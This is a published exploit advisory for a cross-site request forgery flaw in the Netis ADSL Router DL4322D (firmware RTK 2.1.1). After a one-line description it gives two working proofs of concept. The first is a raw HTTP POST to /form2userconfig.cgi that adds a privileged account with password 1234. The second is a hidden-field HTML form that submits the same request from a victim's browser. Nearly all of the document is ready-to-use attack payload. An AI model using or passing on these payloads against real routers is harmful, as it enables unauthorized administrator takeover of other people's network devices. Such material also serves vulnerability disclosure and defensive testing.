# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin) # Author: Cakes # Discovery Date: 2018-10-01 # Vendor Homepage: http://www.netis-systems.com # Software Link: http://www.netis-systems.com/Home/detail/id/74.html # Tested Version: RTK 2.1.1 # Tested on OS: Kali Linux # CVE: N/A # Description # Due to improper session management an attacker is able to add a administrator account # without providing any authentication credentials. # PoC 1 POST /form2userconfig.cgi HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 112 username=Cakes&privilege=2&newpass=1234&confpass=1234&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send # PoC 2 <html> <body> <form action="http://Target/form2userconfig.cgi" method="POST"> <input type="hidden" name="username" value="Cakes" /> <input type="hidden" name="privilege" value="2" /> <input type="hidden" name="newpass" value="1234" /> <input type="hidden" name="confpass" value="1234" /> <input type="hidden" name="adduser" value="Add" /> <input type="hidden" name="hiddenpass" value="" /> <input type="hidden" name="submit.htm?userconfig.htm" value="Send" /> <input type="submit" value="Submit request" /> </form> </body> </html>
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